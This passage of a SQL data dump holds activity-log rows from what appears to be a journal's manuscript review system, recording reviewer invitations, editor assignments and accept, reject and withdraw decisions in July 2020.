Reviewer',4064,'Publisher',85),(42054,'2020-07-07 08:53:07','Publisher has Invited Reviewer',4064,'Publisher',85),(42055,'2020-07-07 08:53:08','Publisher has Invited Reviewer',4064,'Publisher',85),(42056,'2020-07-07 08:53:10','Publisher has Invited Reviewer',4064,'Publisher',85),(42057,'2020-07-07 08:53:11','Publisher has Invited Reviewer',4064,'Publisher',85),(42058,'2020-07-07 08:53:12','Publisher has Invited Reviewer',4064,'Publisher',85),(42059,'2020-07-07 08:54:25','Publisher has Invited Reviewer',4575,'Publisher',85),(42060,'2020-07-07 08:54:26','Publisher has Invited Reviewer',4575,'Publisher',85),(42061,'2020-07-07 08:54:27','Publisher has Invited Reviewer',4575,'Publisher',85),(42062,'2020-07-07 08:54:33','Publisher has Invited Reviewer',4575,'Publisher',85),(42063,'2020-07-07 08:54:35','Publisher has Invited Reviewer',4575,'Publisher',85),(42064,'2020-07-07 08:54:41','Publisher has Invited Reviewer',4575,'Publisher',85),(42065,'2020-07-07 08:54:42','Publisher has Invited Reviewer',4575,'Publisher',85),(42066,'2020-07-07 08:59:34','Publisher has been Accepted Articles  article',4607,'Publisher',85),(42067,'2020-07-07 08:59:41','Publisher has been Accepted Articles  article',4585,'Publisher',85),(42068,'2020-07-07 08:59:52','Publisher has been Accepted Articles  article',4392,'Publisher',85),(42069,'2020-07-07 09:01:10','Publisher has been Accepted Articles  article',4610,'Publisher',85),(42070,'2020-07-07 09:01:30','Publisher has been Accepted Articles  article',4056,'Publisher',85),(42071,'2020-07-07 09:01:39','Publisher has been Accepted Articles  article',3722,'Publisher',85),(42072,'2020-07-07 09:01:45','Publisher has been Accepted Articles  article',3722,'Publisher',85),(42075,'2020-07-07 11:08:13','Reviewer has submitted comments',4064,'Reviewer',8997),(42076,'2020-07-07 11:50:49','Manuscript Submitted by Author using Submission form',5096,'Author',6271),(42092,'2020-07-07 23:18:06','Publisher has Invited Reviewer',4739,'Publisher',75),(42093,'2020-07-07 23:18:08','Publisher has Invited Reviewer',4739,'Publisher',75),(42094,'2020-07-07 23:18:09','Publisher has Invited Reviewer',4739,'Publisher',75),(42095,'2020-07-07 23:18:34','Publisher has Invited Reviewer',4915,'Publisher',75),(42096,'2020-07-07 23:18:35','Publisher has Invited Reviewer',4915,'Publisher',75),(42097,'2020-07-07 23:18:36','Publisher has Invited Reviewer',4915,'Publisher',75),(42098,'2020-07-07 23:18:37','Publisher has Invited Reviewer',4915,'Publisher',75),(42107,'2020-07-08 00:11:22','Publisher has been Assigned Editor',5092,'Publisher',48),(42113,'2020-07-08 00:50:03','Publisher : Notified Editor',3974,'Publisher',75),(42115,'2020-07-08 01:17:19','Publisher : Notified Editor',3999,'Publisher',75),(42116,'2020-07-08 01:18:43','Publisher : Notified Editor',4241,'Publisher',75),(42117,'2020-07-08 01:19:16','Publisher : Notified Editor',4482,'Publisher',75),(42118,'2020-07-08 01:19:55','Publisher : Notified Editor',4665,'Publisher',75),(42120,'2020-07-08 01:37:41','Publisher has been Assigned Editor',5096,'Publisher',48),(42153,'2020-07-08 02:11:41','Editor has Accepted to review Manuscript',4720,'Editor',194),(42154,'2020-07-08 02:12:02','Editor has been Editor Decision Accepted article',4720,'Editor',194),(42155,'2020-07-08 02:16:09','Publisher: Accept Notification has been sent to Author',4720,'Publisher',48),(42158,'2020-07-08 02:28:07','Publisher : Notified Author',4623,'Publisher',274),(42162,'2020-07-08 02:31:32','Manuscript Submitted by Publisher',5100,'Publisher',274),(42163,'2020-07-08 02:32:15','Publisher has been Assigned Editor',5100,'Publisher',274),(42165,'2020-07-08 02:33:21','Publisher has Invited Reviewer',5100,'Publisher',274),(42166,'2020-07-08 02:33:25','Publisher has Invited Reviewer',5100,'Publisher',274),(42167,'2020-07-08 02:33:29','Publisher has Invited Reviewer',5100,'Publisher',274),(42171,'2020-07-08 02:53:09','Publisher has Invited Reviewer',4724,'Publisher',376),(42172,'2020-07-08 02:53:10','Publisher has Invited Reviewer',4724,'Publisher',376),(42173,'2020-07-08 02:53:11','Publisher has Invited Reviewer',4724,'Publisher',376),(42174,'2020-07-08 02:53:25','Publisher has Invited Reviewer',4776,'Publisher',376),(42175,'2020-07-08 02:53:26','Publisher has Invited Reviewer',4776,'Publisher',376),(42176,'2020-07-08 02:53:37','Publisher has Invited Reviewer',4920,'Publisher',376),(42177,'2020-07-08 02:53:38','Publisher has Invited Reviewer',4920,'Publisher',376),(42178,'2020-07-08 02:53:38','Publisher has Invited Reviewer',4920,'Publisher',376),(42194,'2020-07-08 04:38:36','Manuscript Submitted by Author using Submission form',5103,'Author',6279),(42200,'2020-07-08 05:06:02','Manuscript Submitted by Author',5104,'Author',6280),(42202,'2020-07-08 05:38:01','Publisher has been Withdrawn  article',4764,'Publisher',972),(42203,'2020-07-08 05:38:17','Publisher has been Withdrawn  article',3970,'Publisher',972),(42204,'2020-07-08 05:38:27','Publisher has been Accepted Articles  article',3371,'Publisher',972),(42205,'2020-07-08 05:42:55','Publisher has Invited Reviewer',5003,'Publisher',48),(42206,'2020-07-08 05:42:56','Publisher has Invited Reviewer',5003,'Publisher',48),(42207,'2020-07-08 05:42:57','Publisher has Invited Reviewer',5003,'Publisher',48),(42208,'2020-07-08 05:43:20','Publisher has Invited Reviewer',4939,'Publisher',48),(42209,'2020-07-08 05:43:21','Publisher has Invited Reviewer',4939,'Publisher',48),(42210,'2020-07-08 05:43:45','Publisher has Invited Reviewer',4870,'Publisher',48),(42211,'2020-07-08 05:43:57','Publisher has Invited Reviewer',4870,'Publisher',48),(42212,'2020-07-08 05:43:59','Publisher has Invited Reviewer',4870,'Publisher',48),(42213,'2020-07-08 05:44:00','Publisher has Invited Reviewer',4870,'Publisher',48),(42214,'2020-07-08 05:44:36','Publisher has Invited Reviewer',5096,'Publisher',48),(42215,'2020-07-08 05:45:00','Publisher has Invited Reviewer',5092,'Publisher',48),(42216,'2020-07-08 05:45:00','Publisher has Invited Reviewer',5092,'Publisher',48),(42217,'2020-07-08 05:45:02','Publisher has Invited Reviewer',5092,'Publisher',48),(42218,'2020-07-08 05:45:03','Publisher has Invited Reviewer',5092,'Publisher',48),(42219,'2020-07-08 05:45:22','Publisher has Invited Reviewer',5089,'Publisher',48),(42220,'2020-07-08 05:45:23','Publisher has Invited Reviewer',5089,'Publisher',48),(42221,'2020-07-08 05:45:24','Publisher has Invited Reviewer',5089,'Publisher',48),(42224,'2020-07-08 06:01:56','Publisher has Invited Reviewer',5092,'Publisher',48),(42225,'2020-07-08 06:02:44','Publisher has Invited Reviewer',5096,'Publisher',48),(42227,'2020-07-08 06:05:54','Publisher has Invited Reviewer',5003,'Publisher',48),(42228,'2020-07-08 06:06:10','Publisher has Invited Reviewer',4939,'Publisher',48),(42229,'2020-07-08 06:06:28','Publisher has Invited Reviewer',5089,'Publisher',48),(42231,'2020-07-08 06:27:32','Publisher has been Assigned Editor',5104,'Publisher',48),(42232,'2020-07-08 06:27:51','Publisher has Invited Reviewer',5104,'Publisher',48),(42233,'2020-07-08 06:27:52','Publisher has Invited Reviewer',5104,'Publisher',48),(42245,'2020-07-08 07:36:32','Manuscript Submitted by Publisher',5109,'Publisher',248),(42246,'2020-07-08 07:36:42','Publisher has been Assigned Editor',5109,'Publisher',248),(42247,'2020-07-08 07:38:16','Editor has Accepted to review Manuscript',3974,'Editor',161),(42248,'2020-07-08 07:41:35','Editor has been Editor Decision Accepted article',3974,'Editor',161),(42249,'2020-07-08 07:43:28','Editor has been Editor Decision Accepted article',3999,'Editor',161),(42250,'2020-07-08 07:44:04','Editor has Accepted to review Manuscript',4160,'Editor',161),(42251,'2020-07-08 07:44:40','Editor has been Revise (Notify Author) article',4160,'Editor',161),(42252,'2020-07-08 07:45:23','Editor has Accepted to review Manuscript',4241,'Editor',161),(42253,'2020-07-08 07:47:59','Editor has been Revise (Notify Author) article',4241,'Editor',161),(42254,'2020-07-08 07:49:25','Editor has Accepted to review Manuscript',4482,'Editor',161),(42255,'2020-07-08 07:49:32','Editor has Accepted to review Manuscript',4665,'Editor',161),(42256,'2020-07-08 07:49:39','Editor has Accepted to review Manuscript',4676,'Editor',161),(42257,'2020-07-08 07:51:09','Publisher: Accept Notification has been sent to Author',3974,'Publisher',75),(42258,'2020-07-08 07:51:30','Publisher: Accept Notification has been sent to Author',3999,'Publisher',75),(42259,'2020-07-08 07:53:04','Publisher : Notified Author',4160,'Publisher',75),(42260,'2020-07-08 07:54:38','Publisher : Notified Author',4241,'Publisher',75),(42266,'2020-07-08 09:55:44','Manuscript has been Revised',4241,'Author',5456),(42267,'2020-07-08 09:56:07','Manuscript has been Revised',4241,'Author',5456),(42269,'2020-07-08 10:52:45','Manuscript Submitted by Author using Submission form',5111,'Author',6288),(42278,'2020-07-08 11:31:24','Manuscript Submitted by Author using Submission form',5112,'Author',6289),(42279,'2020-07-08 11:33:51','Reviewer has submitted comments',4483,'Reviewer',13193),(42292,'2020-07-08 22:23:13','Reviewer has updated comments',4483,'Reviewer',13193),(42293,'2020-07-08 22:31:05','Publisher : Notified Editor',4483,'Publisher',84),(42294,'2020-07-08 22:32:09','Editor has Accepted to review Manuscript',4483,'Editor',222),(42295,'2020-07-08 22:32:20','Editor has been Revise (Notify Author) article',4483,'Editor',222),(42296,'2020-07-08 22:33:45','Publisher : Notified Author',4483,'Publisher',84),(42303,'2020-07-09 00:27:34','Publisher has been Assigned Editor',5103,'Publisher',75),(42322,'2020-07-09 01:21:58','Publisher has been Accepted Articles  article',4820,'Publisher',85),(42323,'2020-07-09 01:22:45','Publisher : Notified Editor',4064,'Publisher',85),(42327,'2020-07-09 02:11:27','Publisher has Invited Reviewer',4608,'Publisher',85),(42328,'2020-07-09 02:11:28','Publisher has Invited Reviewer',4608,'Publisher',85),(42329,'2020-07-09 02:11:30','Publisher has Invited Reviewer',4608,'Publisher',85),(42330,'2020-07-09 02:11:32','Publisher has Invited Reviewer',4608,'Publisher',85),(42342,'2020-07-09 02:44:42','Publisher has been Accepted Articles  article',3864,'Publisher',376),(42343,'2020-07-09 02:45:56','Publisher has been Accepted Articles  article',4065,'Publisher',376),(42344,'2020-07-09 02:53:25','Publisher has Invited Reviewer',4920,'Publisher',376),(42345,'2020-07-09 02:53:26','Publisher has Invited Reviewer',4920,'Publisher',376),(42346,'2020-07-09 02:53:27','Publisher has Invited Reviewer',4920,'Publisher',376),(42347,'2020-07-09 02:53:56','Publisher has Invited Reviewer',4776,'Publisher',376),(42348,'2020-07-09 02:53:57','Publisher has Invited Reviewer',4776,'Publisher',376),(42349,'2020-07-09 02:53:58','Publisher has Invited Reviewer',4776,'Publisher',376),(42350,'2020-07-09 02:53:59','Publisher has Invited Reviewer',4776,'Publisher',376),(42351,'2020-07-09 02:54:25','Publisher has Invited Reviewer',4724,'Publisher',376),(42352,'2020-07-09 02:54:26','Publisher has Invited Reviewer',4724,'Publisher',376),(42353,'2020-07-09 02:54:27','Publisher has Invited Reviewer',4724,'Publisher',376),(42354,'2020-07-09 02:54:27','Publisher has Invited Reviewer',4724,'Publisher',376),(42355,'2020-07-09 02:54:32','Editor has Accepted to review Manuscript',4064,'Editor',203),(42356,'2020-07-09 02:54:49','Publisher has Invited Reviewer',4502,'Publisher',376),(42357,'2020-07-09 02:54:55','Editor has been Editor Decision Accepted article',4064,'Editor',203),(42358,'2020-07-09 02:55:04','Publisher has Invited Reviewer',4502,'Publisher',376),(42359,'2020-07-09 02:55:05','Publisher has Invited Reviewer',4502,'Publisher',376),(42360,'2020-07-09 02:56:24','Publisher has been Assigned Editor',5112,'Publisher',85),(42361,'2020-07-09 02:57:14','Publisher has Invited Reviewer',5112,'Publisher',85),(42362,'2020-07-09 02:57:15','Publisher has Invited Reviewer',5112,'Publisher',85),(42363,'2020-07-09 02:57:16','Publisher has Invited Reviewer',5112,'Publisher',85),(42364,'2020-07-09 02:57:19','Publisher has Invited Reviewer',5112,'Publisher',85),(42365,'2020-07-09 02:57:20','Publisher has Invited Reviewer',5112,'Publisher',85),(42366,'2020-07-09 02:57:21','Publisher has Invited Reviewer',5112,'Publisher',85),(42367,'2020-07-09 02:57:23','Publisher has Invited Reviewer',5112,'Publisher',85),(42368,'2020-07-09 02:57:24','Publisher has Invited Reviewer',5112,'Publisher',85),(42369,'2020-07-09 02:57:25','Publisher has Invited Reviewer',5112,'Publisher',85),(42370,'2020-07-09 02:57:26','Publisher has Invited Reviewer',5112,'Publisher',85),(42371,'2020-07-09 02:57:28','Publisher has Invited Reviewer',5112,'Publisher',85),(42372,'2020-07-09 02:57:29','Publisher has Invited Reviewer',5112,'Publisher',85),(42373,'2020-07-09 02:57:30','Publisher has Invited Reviewer',5112,'Publisher',85),(42374,'2020-07-09 02:57:31','Publisher has Invited Reviewer',5112,'Publisher',85),(42375,'2020-07-09 02:57:33','Publisher has Invited Reviewer',5112,'Publisher',85),(42376,'2020-07-09 02:57:34','Publisher has Invited Reviewer',5112,'Publisher',85),(42378,'2020-07-09 03:47:15','Publisher has been Withdrawn  article',4337,'Publisher',972),(42391,'2020-07-09 05:13:42','Publisher has been Assigned Editor',5111,'Publisher',319),(42392,'2020-07-09 05:15:18','Publisher has Invited Reviewer',4637,'Publisher',319),(42393,'2020-07-09 05:15:22','Publisher has Invited Reviewer',4637,'Publisher',319),(42394,'2020-07-09 05:18:22','Manuscript Submitted by Author',5123,'Author',6299),(42395,'2020-07-09 05:18:27','Publisher : Notified Author',4138,'Publisher',319),(42396,'2020-07-09 05:19:51','Publisher : Notified Author',4251,'Publisher',319),(42397,'2020-07-09 05:52:49','Reviewer has been sent email to Publisher',5112,'Reviewer',11969),(42398,'2020-07-09 05:58:05','Editor has Accepted to review Manuscript',5111,'Editor',1067),(42401,'2020-07-09 06:50:55','Publisher has Invited Reviewer',4513,'Publisher',248),(42402,'2020-07-09 06:50:56','Publisher has Invited Reviewer',4513,'Publisher',248),(42403,'2020-07-09 06:50:57','Publisher has Invited Reviewer',4513,'Publisher',248),(42404,'2020-07-09 06:52:13','Reviewer has submitted comments',4513,'Reviewer',9054),(42405,'2020-07-09 06:53:10','Editor has Accepted to review Manuscript',4513,'Editor',358),(42406,'2020-07-09 06:53:25','Editor has been Editor Decision Accepted article',4513,'Editor',358),(42407,'2020-07-09 06:53:49','Publisher: Accept Notification has been sent to Author',4513,'Publisher',248),(42408,'2020-07-09 06:54:03','Publisher: Accept Notification has been sent to Author',4467,'Publisher',248),(42411,'2020-07-09 07:43:21','Publisher has been Assigned Editor',5123,'Publisher',48),(42412,'2020-07-09 07:43:40','Publisher has Invited Reviewer',5123,'Publisher',48),(42413,'2020-07-09 07:53:45','Manuscript Submitted by Publisher',5126,'Publisher',75),(42414,'2020-07-09 07:54:12','Publisher has been Assigned Editor',5126,'Publisher',75),(42416,'2020-07-09 08:02:53','Publisher : Notified Editor',4241,'Publisher',75),(42420,'2020-07-09 10:18:42','Editor has Accepted to review Manuscript',5112,'Editor',1393),(42421,'2020-07-09 10:19:23','Editor has Invited Reviewer',5112,'Editor',1393),(42422,'2020-07-09 10:19:25','Editor has Invited Reviewer',5112,'Editor',1393),(42423,'2020-07-09 10:19:26','Editor has Invited Reviewer',5112,'Editor',1393),(42424,'2020-07-09 10:19:28','Editor has Invited Reviewer',5112,'Editor',1393),(42425,'2020-07-09 10:19:29','Editor has Invited Reviewer',5112,'Editor',1393),(42426,'2020-07-09 10:19:31','Editor has Invited Reviewer',5112,'Editor',1393),(42427,'2020-07-09 10:19:32','Editor has Invited Reviewer',5112,'Editor',1393),(42428,'2020-07-09 10:19:33','Editor has Invited Reviewer',5112,'Editor',1393),(42429,'2020-07-09 10:19:34','Editor has Invited Reviewer',5112,'Editor',1393),(42430,'2020-07-09 10:19:35','Editor has Invited Reviewer',5112,'Editor',1393),(42432,'2020-07-09 13:59:43','Editor has Accepted to review Manuscript',5126,'Editor',160),(42433,'2020-07-09 14:01:51','Editor has Invited Reviewer',5126,'Editor',160),(42434,'2020-07-09 14:02:08','Editor has Invited Reviewer',5126,'Editor',160),(42435,'2020-07-09 14:02:09','Editor has Invited Reviewer',5126,'Editor',160),(42439,'2020-07-09 18:10:20','Manuscript Submitted by Author using Submission form',5131,'Author',6310),(42452,'2020-07-10 00:06:46','Editor has Accepted to review Manuscript',5003,'Editor',194),(42453,'2020-07-10 00:06:58','Editor has been Editor Decision Accepted article',5003,'Editor',194),(42454,'2020-07-10 00:07:11','Editor has Accepted to review Manuscript',5035,'Editor',194),(42455,'2020-07-10 00:07:22','Editor has been Editor Decision Accepted article',5035,'Editor',194),(42456,'2020-07-10 00:07:47','Editor has Accepted to review Manuscript',4564,'Editor',194),(42457,'2020-07-10 00:07:58','Editor has been Editor Decision Accepted article',4564,'Editor',194),(42458,'2020-07-10 00:08:14','Editor has Accepted to review Manuscript',4253,'Editor',194),(42459,'2020-07-10 00:08:36','Editor has been Editor Decision Accepted article',4253,'Editor',194),(42460,'2020-07-10 00:09:41','Publisher: Accept Notification has been sent to Author',5003,'Publisher',48),(42461,'2020-07-10 00:10:03','Publisher: Accept Notification has been sent to Author',4564,'Publisher',48),(42462,'2020-07-10 00:10:19','Publisher: Accept Notification has been sent to Author',4253,'Publisher',48),(42470,'2020-07-10 01:17:56','Editor has been Editor Decision Rejected article',4064,'Editor',203),(42474,'2020-07-10 01:19:00','Publisher: Reject Notification has been sent to Author',4064,'Publisher',85),(42501,'2020-07-10 02:35:14','Reviewer has submitted comments',4637,'Reviewer',12875),(42516,'2020-07-10 05:30:46','Publisher has Invited Reviewer',5112,'Publisher',85),(42517,'2020-07-10 05:30:52','Publisher has Invited Reviewer',5112,'Publisher',85),(42518,'2020-07-10 05:30:53','Publisher has Invited Reviewer',5112,'Publisher',85),(42519,'2020-07-10 05:30:54','Publisher has Invited Reviewer',5112,'Publisher',85),(42520,'2020-07-10 05:30:55','Publisher has Invited Reviewer',5112,'Publisher',85),(42521,'2020-07-10 05:30:56','Publisher has Invited Reviewer',5112,'Publisher',85),(42522,'2020-07-10 05:30:56','Publisher has Invited Reviewer',5112,'Publisher',85),(42523,'2020-07-10 05:31:36','Publisher : Notified Author',4733,'Publisher',85),(42524,'2020-07-10 05:31:54','Publisher : Notified Author',4636,'Publisher',85),(42525,'2020-07-10 05:49:54','Publisher : Notified Author',4226,'Publisher',85),(42526,'2020-07-10 05:51:43','Publisher : Notified Author',4194,'Publisher',85),(42527,'2020-07-10 05:51:54','Publisher : Notified Author',4058,'Publisher',85),(42530,'2020-07-10 06:56:46','Manuscript Submitted by Publisher',5137,'Publisher',48),(42532,'2020-07-10 06:57:01','Publisher has been Assigned Editor',5137,'Publisher',48),(42533,'2020-07-10 06:57:18','Publisher has Invited Reviewer',5137,'Publisher',48),(42564,'2020-07-10 18:00:28','Manuscript Submitted by Author using Submission form',5146,'Author',6329),(42567,'2020-07-10 22:07:24','Reviewer has been sent email to Publisher',4776,'Reviewer',9157),(42568,'2020-07-10 22:14:26','Publisher has been Rejected Articles  article',4064,'Publisher',85),(42615,'2020-07-11 10:39:44','Manuscript Submitted by Author using Submission form',5156,'Author',6339),(42633,'2020-07-12 03:29:55','Reviewer has submitted comments',4502,'Reviewer',9157),(42634,'2020-07-12 03:38:49','Reviewer has submitted comments',4776,'Reviewer',9157),(42635,'2020-07-12 08:20:17','Reviewer has submitted comments',4969,'Reviewer',13669),(42636,'2020-07-12 09:06:30','Author sent Email',4445,'Author',5656),(42645,'2020-07-13 05:24:20','Manuscript Submitted by Publisher',5169,'Publisher',48),(42646,'2020-07-13 05:25:08','Publisher has been Assigned Editor',5169,'Publisher',48),(42647,'2020-07-13 05:25:27','Publisher has Invited Reviewer',5169,'Publisher',48),(42648,'2020-07-13 05:31:28','Editor has Accepted to review Manuscript',4870,'Editor',194),(42649,'2020-07-13 05:31:44','Editor has been Editor Decision Accepted article',4870,'Editor',194),(42650,'2020-07-13 05:31:53','Editor has Accepted to review Manuscript',4939,'Editor',194),(42651,'2020-07-13 05:32:05','Editor has been Editor Decision Accepted article',4939,'Editor',194),(42652,'2020-07-13 05:32:14','Editor has Accepted to review Manuscript',5089,'Editor',194),(42653,'2020-07-13 05:32:25','Editor has been Editor Decision Accepted article',5089,'Editor',194),(42654,'2020-07-13 05:32:58','Editor has been Editor Decision Accepted article',5089,'Editor',194),(42655,'2020-07-13 05:33:05','Editor has Accepted to review Manuscript',5092,'Editor',194),(42656,'2020-07-13 05:33:16','Editor has been Editor Decision Accepted article',5092,'Editor',194),(42657,'2020-07-13 05:33:24','Editor has Accepted to review Manuscript',5096,'Editor',194),(42658,'2020-07-13 05:33:36','Editor has been Editor Decision Accepted article',5096,'Editor',194),(42659,'2020-07-13 05:33:43','Editor has Accepted to review Manuscript',5104,'Editor',194),(42660,'2020-07-13 05:33:52','Editor has been Editor Decision Accepted article',5104,'Editor',194),(42661,'2020-07-13 05:34:28','Publisher: Accept Notification has been sent to Author',5089,'Publisher',48),(42662,'2020-07-13 05:34:40','Publisher: Accept Notification has been sent to Author',5092,'Publisher',48),(42663,'2020-07-13 05:34:53','Publisher: Accept Notification has been sent to Author',5096,'Publisher',48),(42664,'2020-07-13 05:35:04','Publisher: Accept Notification has been sent to Author',5104,'Publisher',48),(42665,'2020-07-13 05:35:18','Publisher: Accept Notification has been sent to Author',4939,'Publisher',48),(42666,'2020-07-13 05:35:29','Publisher: Accept Notification has been sent to Author',4870,'Publisher',48),(42667,'2020-07-13 05:58:28','Publisher has Invited Reviewer',5103,'Publisher',75),(42668,'2020-07-13 05:59:22','Publisher has Invited Reviewer',4445,'Publisher',75),(42669,'2020-07-13 05:59:23','Publisher has Invited Reviewer',4445,'Publisher',75),(42670,'2020-07-13 05:59:24','Publisher has Invited Reviewer',4445,'Publisher',75),(42671,'2020-07-13 05:59:25','Publisher has Invited Reviewer',4445,'Publisher',75),(42672,'2020-07-13 06:34:15','Manuscript Submitted by Author using Submission form',5170,'Author',6355),(42673,'2020-07-13 07:02:21','Manuscript Submitted by Author using Submission form',5171,'Author',6356),(42677,'2020-07-13 07:21:10','Manuscript Submitted by Author using Submission form',5173,'Author',6358),(42699,'2020-07-13 10:02:16','Publisher : Notified Editor',4969,'Publisher',85),(42700,'2020-07-13 10:06:52','Manuscript Submitted by Author using Submission form',5174,'Author',6359),(42701,'2020-07-13 10:08:34','Publisher has Invited Reviewer',5112,'Publisher',85),(42702,'2020-07-13 10:08:35','Publisher has Invited Reviewer',5112,'Publisher',85),(42703,'2020-07-13 10:08:36','Publisher has Invited Reviewer',5112,'Publisher',85),(42704,'2020-07-13 10:08:37','Publisher has Invited Reviewer',5112,'Publisher',85),(42705,'2020-07-13 10:08:38','Publisher has Invited Reviewer',5112,'Publisher',85),(42706,'2020-07-13 10:08:39','Publisher has Invited Reviewer',5112,'Publisher',85),(42707,'2020-07-13 10:08:40','Publisher has Invited Reviewer',5112,'Publisher',85),(42708,'2020-07-13 10:08:40','Publisher has Invited Reviewer',5112,'Publisher',85),(42709,'2020-07-13 10:08:41','Publisher has Invited Reviewer',5112,'Publisher',85),(42710,'2020-07-13 10:08:42','Publisher has Invited Reviewer',5112,'Publisher',85),(42711,'2020-07-13 10:08:43','Publisher has Invited Reviewer',5112,'Publisher',85),(42712,'2020-07-13 10:08:44','Publisher has Invited Reviewer',5112,'Publisher',85),(42719,'2020-07-13 10:45:51','Publisher has been Assigned Editor',5173,'Publisher',48),(42720,'2020-07-13 10:46:31','Publisher has been Assigned Editor',5171,'Publisher',48),(42721,'2020-07-13 10:53:30','Publisher has Invited Reviewer',5171,'Publisher',48),(42722,'2020-07-13 10:53:31','Publisher has Invited Reviewer',5171,'Publisher',48),(42723,'2020-07-13 10:53:55','Publisher has Invited Reviewer',5173,'Publisher',48),(42724,'2020-07-13 10:53:56','Publisher has Invited Reviewer',5173,'Publisher',48),(42725,'2020-07-13 11:01:16','Publisher has been Assigned Editor',5170,'Publisher',48),(42726,'2020-07-13 11:01:56','Publisher has Invited Reviewer',5170,'Publisher',48),(42727,'2020-07-13 11:01:57','Publisher has Invited Reviewer',5170,'Publisher',48),(42728,'2020-07-13 11:02:07','Publisher has Invited Reviewer',5170,'Publisher',48),(42729,'2020-07-13 11:02:28','Publisher has Invited Reviewer',5173,'Publisher',48),(42730,'2020-07-13 11:02:58','Editor has been Revise (Notify Author) article',4969,'Editor',1393),(42731,'2020-07-13 11:03:04','Editor has been Revise (Notify Author) article',4969,'Editor',1393),(42732,'2020-07-13 11:03:05','Publisher has Invited Reviewer',5171,'Publisher',48),(42733,'2020-07-13 11:05:02','Publisher : Notified Author',4969,'Publisher',85),(42734,'2020-07-13 11:06:03','Publisher has Invited Reviewer',4709,'Publisher',673),(42735,'2020-07-13 11:06:04','Publisher has Invited Reviewer',4709,'Publisher',673),(42736,'2020-07-13 11:06:05','Publisher has Invited Reviewer',4709,'Publisher',673),(42737,'2020-07-13 11:06:05','Publisher has Invited Reviewer',4709,'Publisher',673),(42738,'2020-07-13 11:06:06','Publisher has Invited Reviewer',4709,'Publisher',673),(42739,'2020-07-13 11:06:23','Publisher has Invited Reviewer',4709,'Publisher',673),(42740,'2020-07-13 11:30:39','Reviewer has submitted comments',4483,'Reviewer',13599),(42750,'2020-07-13 12:34:33','Publisher has been Assigned Editor',5156,'Publisher',376),(42760,'2020-07-13 13:56:28','Manuscript Submitted by Author using Submission form',5176,'Author',6362),(42762,'2020-07-13 16:04:05','Reviewer has submitted comments',4739,'Reviewer',663),(42769,'2020-07-14 01:50:18','Reviewer has submitted comments',4709,'Reviewer',11354),(42770,'2020-07-14 03:36:33','Publisher has been Withdrawn  article',4058,'Publisher',85),(42771,'2020-07-14 03:37:32','Publisher has been Withdrawn  article',4194,'Publisher',85),(42772,'2020-07-14 03:37:56','Publisher has been Withdrawn  article',4226,'Publisher',85),(42773,'2020-07-14 03:40:39','Publisher has been Withdrawn  article',4636,'Publisher',85),(42774,'2020-07-14 03:44:34','Publisher has been Withdrawn  article',4733,'Publisher',85),(42784,'2020-07-14 05:17:01','Publisher has Invited Reviewer',5156,'Publisher',376),(42785,'2020-07-14 05:17:02','Publisher has Invited Reviewer',5156,'Publisher',376),(42786,'2020-07-14 05:17:02','Publisher has Invited Reviewer',5156,'Publisher',376),(42787,'2020-07-14 05:17:03','Publisher has Invited Reviewer',5156,'Publisher',376),(42818,'2020-07-14 06:58:59','Reviewer has submitted comments',4608,'Reviewer',13339),(42819,'2020-07-14 07:22:08','Publisher has Invited Reviewer',5112,'Publisher',85),(42820,'2020-07-14 07:22:09','Publisher has Invited Reviewer',5112,'Publisher',85),(42821,'2020-07-14 07:22:09','Publisher has Invited Reviewer',5112,'Publisher',85),(42822,'2020-07-14 07:22:10','Publisher has Invited Reviewer',5112,'Publisher',85),(42823,'2020-07-14 07:22:11','Publisher has Invited Reviewer',5112,'Publisher',85),(42841,'2020-07-14 08:29:58','Manuscript Submitted by Author using Submission form',5187,'Author',6374),(42844,'2020-07-14 09:00:49','Publisher has been Assigned Editor',5174,'Publisher',248),(42847,'2020-07-14 09:20:54','Publisher : Notified Editor',4709,'Publisher',673),(42880,'2020-07-14 09:51:07','Publisher : Notified Editor',4608,'Publisher',85),(42881,'2020-07-14 09:52:31','Editor has Accepted to review Manuscript',4608,'Editor',1394),(42882,'2020-07-14 09:52:46','Editor has been Editor Decision Accepted article',4608,'Editor',1394),(42895,'2020-07-14 10:18:03','Publisher has been Accepted Articles  article',4467,'Publisher',248),(42896,'2020-07-14 10:18:15','Publisher has been Accepted Articles  article',4513,'Publisher',248),(42898,'2020-07-14 10:27:22','Reviewer has submitted comments',4575,'Reviewer',13096),(42899,'2020-07-14 10:30:31','Publisher : Notified Editor',4575,'Publisher',85),(42926,'2020-07-14 12:33:02','Publisher has Invited Reviewer',5111,'Publisher',319),(42927,'2020-07-14 12:33:06','Publisher has Invited Reviewer',5111,'Publisher',319),(42928,'2020-07-14 12:33:10','Publisher has Invited Reviewer',5111,'Publisher',319),(42929,'2020-07-14 12:33:14','Publisher has Invited Reviewer',5111,'Publisher',319),(42930,'2020-07-14 12:33:17','Publisher has Invited Reviewer',5111,'Publisher',319),(42931,'2020-07-14 12:33:21','Publisher has Invited Reviewer',5111,'Publisher',319),(42932,'2020-07-14 12:33:24','Publisher has Invited Reviewer',5111,'Publisher',319),(42933,'2020-07-14 12:33:28','Publisher has Invited Reviewer',5111,'Publisher',319),(42934,'2020-07-14 12:39:24','Publisher : Notified Author',4251,'Publisher',319),(42935,'2020-07-14 12:42:16','Publisher : Notified Author',4138,'Publisher',319),(42944,'2020-07-14 13:08:40','Editor has been Revise (Notify Author) article',4251,'Editor',1067),(42945,'2020-07-14 13:09:16','Editor has been Revise (Notify Author) article',4138,'Editor',1067),(42946,'2020-07-14 13:10:52','Editor has been Revise (Notify Author) article',4637,'Editor',1067),(42947,'2020-07-14 13:11:38','Editor has been Revise (Notify Author) article',4885,'Editor',1067),(42948,'2020-07-14 13:12:38','Editor has been Editor Decision Accepted article',4117,'Editor',1067),(42950,'2020-07-14 13:18:42','Publisher : Notified Author',4885,'Publisher',319),(42951,'2020-07-14 13:22:36','Publisher : Notified Author',4637,'Publisher',319),(42952,'2020-07-14 13:24:38','Publisher : Notified Author',4251,'Publisher',319),(42953,'2020-07-14 13:25:36','Publisher : Notified Author',4251,'Publisher',319),(42956,'2020-07-14 13:27:17','Publisher : Notified Author',4138,'Publisher',319),(42957,'2020-07-14 13:28:01','Publisher: Accept Notification has been sent to Author',4117,'Publisher',319),(42981,'2020-07-14 18:58:49','Manuscript Submitted by Author using Submission form',5197,'Author',6385),(43055,'2020-07-14 19:55:40','Author sent Email',5174,'Author',6359),(43060,'2020-07-15 04:20:31','Publisher : Notified Author',4483,'Publisher',84),(43061,'2020-07-15 04:28:58','Manuscript Submitted by Publisher',5199,'Publisher',48),(43068,'2020-07-15 